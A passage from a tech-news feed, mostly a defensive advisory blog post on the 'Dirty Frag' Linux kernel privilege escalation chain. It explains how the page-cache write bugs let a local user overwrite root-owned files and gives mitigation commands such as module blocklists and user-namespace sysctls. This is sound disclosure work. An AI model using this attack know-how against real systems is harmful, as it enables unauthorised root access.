<p><a href="https://www.redhat.com/en/blog/turning-complexity-confidence-red-hat-technical-supportability-review-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-red-hat-and-netris-bring-multi-tenant-networking-to-sovereign-ai-clouds-and-neoclouds" class="group relative scroll-mt-24">
        <a href="#h3-red-hat-and-netris-bring-multi-tenant-networking-to-sovereign-ai-clouds-and-neoclouds" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Red Hat and Netris bring multi-tenant networking to sovereign AI clouds and neoclouds
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-red-hat-and-netris-bring-multi-tenant-networking-to-sovereign-ai-clouds-and-neoclouds"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI compute and storage have evolved to become abstracted, multi-tenant, and automated, AI infrastructure now demands accelerated networking that delivers the same levels of automation, orchestratio</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/red-hat-and-netris-bring-multi-tenant-networking-sovereign-ai-clouds-and-neoclouds"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-157000-developers-are-hedging-against-anthropic-with-opencode" class="group relative scroll-mt-24">
        <a href="#h3-why-157000-developers-are-hedging-against-anthropic-with-opencode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why 157,000 developers are hedging against Anthropic with OpenCode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-157000-developers-are-hedging-against-anthropic-with-opencode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic spent its biggest developer day of the year showing what a managed coding harness looks like at full scale. The post Why 157,000 developers are hedging against Anthropic with OpenCode appear</p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/anthropic-claudecode-opencode-split/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-can-now-follow-users-across-outlook-word-excel-and-powerpoint" class="group relative scroll-mt-24">
        <a href="#h3-claude-can-now-follow-users-across-outlook-word-excel-and-powerpoint" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude can now follow users across Outlook, Word, Excel, and PowerPoint
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-can-now-follow-users-across-outlook-word-excel-and-powerpoint"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic is expanding Claude’s reach across Microsoft 365, adding Outlook support while bringing Word, Excel, and PowerPoint integrations into general The post Claude can now follow users across Outl</p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/claude-word-excel-powerpoint-outlook-microsoft-office/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call" class="group relative scroll-mt-24">
        <a href="#h3-the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Silicon Ceiling: Why the Hardware Crisis is the Ultimate Wake-Up Call
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At a glance Hardware scarcity, driven by skyrocketing memory prices and historically low data center vacancies, means you can no longer simply buy more hardware to scale performance. Optimizing the pe</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-silicon-ceiling-why-the-hardware-crisis-is-the-ultimate-wake-up-call/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Dirty Frag (CVE-2026-43284 + CVE-2026-43500): Local Root on Every Major Linux Distro]]></title>
      <link>https://devops.anhp.site/posts/dirty-frag-cve-2026-43284-linux-root-escalation</link>
      <description><![CDATA[A two-bug chain in the Linux kernel networking subsystems lets any unprivileged local user become root in a single command. The PoC is public, the embargo broke, and not all distros have a patch yet.]]></description>
      <pubDate>Fri, 08 May 2026 18:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/dirty-frag-cve-2026-43284-linux-root-escalation</guid>
      <category><![CDATA[Security]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[linux]]></category><category><![CDATA[kernel]]></category><category><![CDATA[cve]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[privilege-escalation]]></category><category><![CDATA[ipsec]]></category>
      <content:encoded><![CDATA[<p>If you run any shared-tenant Linux box, you have work to do today. Hyunwoo Kim disclosed a Linux kernel local privilege escalation chain dubbed <strong>Dirty Frag</strong> that turns an unprivileged local user into root with a single command. It is two bugs, not one: <strong>CVE-2026-43284</strong> in the IPsec ESP code paths (<code>esp4</code> / <code>esp6</code>) and <strong>CVE-2026-43500</strong> in the RxRPC subsystem. Both produce a page-cache write primitive, which is the same class of bug that made Dirty Pipe (CVE-2022-0847) and Dirty COW (CVE-2016-5195) household names. The naming is not coincidence.</p>
<p>Reported to Linux maintainers on April 30, 2026. An unrelated third party published the ESP exploit on May 7, 2026, breaking the embargo and forcing immediate full disclosure. The ESP fix landed in the upstream <code>netdev</code> tree the same day. The RxRPC fix is still pending as of the date of this post. That means many distributions are still in the gap between &quot;the world knows about this&quot; and &quot;we have a vendor kernel that fixes it.&quot;</p>
<p>Here is what the bugs are, who is exposed, the temporary mitigations that work, and the order to apply them in.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Name</td>
<td>Dirty Frag</td>
</tr>
<tr>
<td>CVEs</td>
<td>CVE-2026-43284 (xfrm-ESP), CVE-2026-43500 (RxRPC)</td>
</tr>
<tr>
<td>Class</td>
<td>Page-cache write primitive, local privilege escalation</td>
</tr>
<tr>
<td>Severity</td>
<td>Important (Red Hat); root from any local account</td>
</tr>
<tr>
<td>Disclosed</td>
<td>May 7, 2026 (embargo broken)</td>
</tr>
<tr>
<td>Reporter</td>
<td>Hyunwoo Kim</td>
</tr>
<tr>
<td>ESP patch</td>
<td>Merged in upstream <code>netdev</code> tree May 7, 2026</td>
</tr>
<tr>
<td>RxRPC patch</td>
<td>Pending upstream as of May 8, 2026</td>
</tr>
<tr>
<td>Affected</td>
<td>Ubuntu 24.04.4, RHEL 8/9/10, AlmaLinux 8/9/10, CentOS Stream 10, Fedora 44, openSUSE Tumbleweed, OpenShift 4 (and effectively every kernel that built <code>esp4</code> / <code>esp6</code> / <code>rxrpc</code>)</td>
</tr>
<tr>
<td>Required access</td>
<td>Any unprivileged local account, often <code>CAP_NET_ADMIN</code> via user namespaces</td>
</tr>
<tr>
<td>Working PoC</td>
<td>Yes, public on GitHub</td>
</tr>
<tr>
<td>What you do</td>
<td>Apply the vendor kernel update once it ships; in the meantime, blocklist <code>esp4</code>, <code>esp6</code>, <code>rxrpc</code> modules and disable unprivileged user namespaces where possible</td>
</tr>
</tbody></table>
<h2 id="h2-why-this-one-matters" class="group relative scroll-mt-24">
        <a href="#h2-why-this-one-matters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This One Matters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-one-matters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A local privilege escalation is the part of an exploit chain that turns &quot;the attacker has a foothold&quot; into &quot;the attacker owns the box.&quot; On a single-user laptop the impact is mostly theoretical because the attacker who can run code as you can usually wait you out. On the systems that pay your salary, the threat model is the opposite. Anywhere a Linux kernel is shared between accounts, the LPE is the actual prize:</p>
<ul>
<li><strong>CI runners.</strong> GitHub Actions self-hosted runners, GitLab runners, Jenkins agents. The job already runs as a low-privileged user. Dirty Frag promotes that to root on the runner host, which often has SSH keys, registry credentials, and access to the next-tier secret store.</li>
<li><strong>Multi-tenant Kubernetes.</strong> Pods on the same node share a kernel. A container breakout that lands you in any pod with a shell becomes a node compromise. The kubelet credentials are right there.</li>
<li><strong>Bastion / jump hosts.</strong> Most security models depend on these being trusted. An LPE on the bastion turns one compromised developer account into the entire fleet.</li>
<li><strong>Shared developer servers.</strong> Whatever your &quot;dev box&quot; is. Same logic.</li>
</ul>
<p>The PoC requires nothing exotic. A user with shell access runs the binary, the chain triggers, the prompt comes back as root. Nine years of <code>algif_aead</code> plumbing made this much harder to spot before; now it is one <code>git clone</code> away from a working exploit.</p>
<h2 id="h2-what-each-bug-actually-does" class="group relative scroll-mt-24">
        <a href="#h2-what-each-bug-actually-does" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Each Bug Actually Does
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-each-bug-actually-does"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Both halves of Dirty Frag are page-cache write primitives, which is what makes the &quot;Dirty&quot; name fit. The kernel uses the page cache to back files mmapped by user space, so a primitive that lets an unprivileged process modify pages it does not own is effectively a primitive to overwrite the contents of files the process cannot write. That is how Dirty Pipe overwrote <code>/etc/passwd</code>, and that is how Dirty Frag does it too.</p>
<h3 id="h3-cve-2026-43284-xfrm-esp-page-cache-write" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-43284-xfrm-esp-page-cache-write" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-43284: xfrm-ESP page-cache write
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-43284-xfrm-esp-page-cache-write"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The IPsec ESP receive path decrypts incoming packets in place. When the buffer being decrypted is a paged buffer that is <em>not</em> privately owned by the kernel (specifically, pages that arrived via <code>splice(2)</code> or <code>sendfile(2)</code> from a pipe), the decrypted plaintext lands in pages that user space still has a reference to. An unprivileged process can keep that reference, read out the plaintext, and write into pages backing files it would otherwise have no access to.</p>
<p>The bug has been latent in the ESP path since roughly 2017. It was not exploitable as a clean LPE on its own without the right kernel interfaces being reachable from user space, but <code>CAP_NET_ADMIN</code> inside an unprivileged user namespace provides exactly the right reach. That is why the unprivileged-user-namespace mitigation below works.</p>
<h3 id="h3-cve-2026-43500-rxrpc-page-cache-write" class="group relative scroll-mt-24">
        <a href="#h3-cve-2026-43500-rxrpc-page-cache-write" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CVE-2026-43500: RxRPC page-cache write
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cve-2026-43500-rxrpc-page-cache-write"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>RxRPC is the kernel implementation of the RxRPC protocol, used by AFS distributed filesystem clients. The same class of bug exists on its receive path: paged buffers that the kernel does not exclusively own end up holding plaintext that user space can read and write. RxRPC has been carrying this bug since approximately 2023, which is much narrower than the ESP timeline but still includes every long-term-support kernel of the last two years.</p>
<p>The chain in the public PoC uses one or both primitives depending on what the target system has loaded. ESP-only is enough on most distributions, which is why the ESP patch alone covers the worst of it.</p>
<h3 id="h3-why-page-cache-write-is-so-dangerous" class="group relative scroll-mt-24">
        <a href="#h3-why-page-cache-write-is-so-dangerous" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why "page-cache write" is so dangerous
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-page-cache-write-is-so-dangerous"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you have not run into this class before, the short version: a page-cache write primitive is not a memory corruption bug in the usual sense. It is a write into the kernel&#39;s view of a file&#39;s contents. Because the kernel hands those pages back to anyone who reads the file, you can drop a single byte at the right offset of <code>/etc/sudoers</code>, <code>/etc/shadow</code>, or <code>/usr/bin/sudo</code> and the next process that reads the file sees your version. No SMEP / SMAP / KASLR / CFI bypass needed; the primitive sidesteps the part of the kernel those mitigations protect.</p>
<h2 id="h2-who-is-exposed" class="group relative scroll-mt-24">
        <a href="#h2-who-is-exposed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Who Is Exposed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-who-is-exposed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Effectively every modern Linux distribution. The vulnerable code is in the upstream kernel and the modules ship by default. Distributions explicitly named in the public advisories:</p>
<ul>
<li>Ubuntu 24.04.4</li>
<li>Red Hat Enterprise Linux 8, 9, 10</li>
<li>AlmaLinux 8, 9, 10</li>
<li>CentOS Stream 10</li>
<li>Fedora 44</li>
<li>openSUSE Tumbleweed</li>
<li>OpenShift 4</li>
</ul>
<p>If you are running a long-term-support kernel that built <code>esp4</code>, <code>esp6</code>, or <code>rxrpc</code> and you do not have the vendor errata yet, assume you are vulnerable.</p>
<p>A few cases where exposure is reduced:</p>
<ul>
<li><strong>No local users.</strong> A managed appliance with no shell account is fine for the LPE alone, since LPE needs a foothold. It is not fine if anything else lets an attacker land.</li>
<li><strong>Containers without privileged kernel reach.</strong> A container that cannot reach the <code>esp4</code> / <code>esp6</code> / <code>rxrpc</code> interfaces from user space is harder to exploit. Most production container runtimes already block raw kernel module reach, but <code>CAP_NET_ADMIN</code> is still common in CNI / VPN sidecars.</li>
<li><strong>Hardened kernels (grsec / Linux-Hardened) without unprivileged user namespaces.</strong> Disabling unprivileged user namespaces removes the reach for the ESP primitive on RHEL-class distros.</li>
</ul>
<p>Cloud provider metal is at risk if you SSH into it. Cloud provider managed services (RDS, Lambda, ECS Fargate, Cloud Run) are not directly exposed because you do not have shell on the kernel; the provider does.</p>
<h2 id="h2-what-to-do-today" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-today" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Today
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-today"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Order matters. Do the cheap mitigations first, then watch for the vendor kernel, then patch.</p>
<h3 id="h3-1-inventory-what-is-loaded" class="group relative scroll-mt-24">
        <a href="#h3-1-inventory-what-is-loaded" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Inventory what is loaded
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-inventory-what-is-loaded"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Confirm whether the vulnerable modules are loaded right now.</span>
lsmod | grep -E <span class="hljs-string">&#x27;^(esp4|esp6|rxrpc)\b&#x27;</span>

<span class="hljs-comment"># And whether they are auto-loadable via modprobe aliases</span>
<span class="hljs-comment"># (this is what catches the case where the module is not loaded</span>
<span class="hljs-comment">#  but a user-space syscall would load it on demand).</span>
modprobe --show-depends esp4 esp6 rxrpc 2&gt;&amp;1 | <span class="hljs-built_in">head</span> -20
</code></pre><p>If <code>lsmod</code> shows them loaded, you are exploitable today. If they are not loaded but <code>modprobe --show-depends</code> finds them, an unprivileged user can still trigger the load through the same syscall paths the PoC uses.</p>
<h3 id="h3-2-blocklist-the-modules-where-you-can" class="group relative scroll-mt-24">
        <a href="#h3-2-blocklist-the-modules-where-you-can" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Blocklist the modules where you can
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-blocklist-the-modules-where-you-can"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the strongest mitigation. It also breaks IPsec VPN termination on the host and any AFS client. Use this on machines that are <em>not</em> IPsec VPN endpoints and do not use AFS, which is most CI runners, container hosts, and bastions:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># /etc/modprobe.d/dirty-frag.conf</span>
blacklist esp4
blacklist esp6
blacklist rxrpc

<span class="hljs-comment"># Force install to /bin/false so a load attempt fails fast.</span>
install esp4  /bin/false
install esp6  /bin/false
install rxrpc /bin/false
</code></pre><p>Apply it:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Write the file, then either reboot or unload the modules right now</span>
<span class="hljs-comment"># if they are currently loaded.</span>
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">cp</span> dirty-frag.conf /etc/modprobe.d/dirty-frag.conf

<span class="hljs-comment"># Unload if loaded. The order matters because of dependencies.</span>
<span class="hljs-built_in">sudo</span> rmmod rxrpc 2&gt;/dev/null
<span class="hljs-built_in">sudo</span> rmmod esp6  2&gt;/dev/null
<span class="hljs-built_in">sudo</span> rmmod esp4  2&gt;/dev/null

<span class="hljs-comment"># Confirm they are gone and will not reload.</span>
lsmod | grep -E <span class="hljs-string">&#x27;^(esp4|esp6|rxrpc)\b&#x27;</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;modules not loaded&quot;</span>
</code></pre><p>If you actually use IPsec on the box (Wireguard does not count, this is specifically the kernel <code>xfrm</code> ESP path), you cannot use this mitigation on that machine. Move to step 3.</p>
<h3 id="h3-3-disable-unprivileged-user-namespaces-rhel-family" class="group relative scroll-mt-24">
        <a href="#h3-3-disable-unprivileged-user-namespaces-rhel-family" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Disable unprivileged user namespaces (RHEL-family)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-disable-unprivileged-user-namespaces-rhel-family"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This blocks the ESP variant on Red Hat-style kernels by removing the path through which <code>CAP_NET_ADMIN</code> becomes reachable to non-root users. It does <strong>not</strong> cover RxRPC, and it can break rootless containers that depend on user namespaces.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Runtime, until reboot:</span>
<span class="hljs-built_in">sudo</span> sysctl -w user.max_user_namespaces=0

<span class="hljs-comment"># Persistent across reboots:</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;user.max_user_namespaces = 0&quot;</span> | <span class="hljs-built_in">sudo</span> <span class="hljs-built_in">tee</span> /etc/sysctl.d/99-dirty-frag.conf
<span class="hljs-built_in">sudo</span> sysctl --system
</code></pre><p>Validate that rootless tooling you rely on still works after this. Podman in rootless mode is the most common thing that breaks. If your CI image relies on rootless container builds, this is not the right knob.</p>
<h3 id="h3-4-tighten-local-access" class="group relative scroll-mt-24">
        <a href="#h3-4-tighten-local-access" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Tighten local access
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-tighten-local-access"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>LPE chains need a local foothold. Things that make the foothold harder to come by are second-line defense:</p>
<ul>
<li>Drop SSH password authentication (<code>PasswordAuthentication no</code> in <code>sshd_config</code>).</li>
<li>Run SELinux in enforcing mode where it is available.</li>
<li>Run untrusted workloads as non-root and without <code>CAP_NET_ADMIN</code>. Audit your CI job containers; many <code>network-tools</code>-style images run as root for no good reason.</li>
<li>On Kubernetes, push pod security to <code>restricted</code> for new workloads. The default <code>baseline</code> profile leaves <code>CAP_NET_ADMIN</code> reachable for some controllers.</li>
</ul>
<h3 id="h3-5-patch-when-the-vendor-kernel-ships" class="group relative scroll-mt-24">
        <a href="#h3-5-patch-when-the-vendor-kernel-ships" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
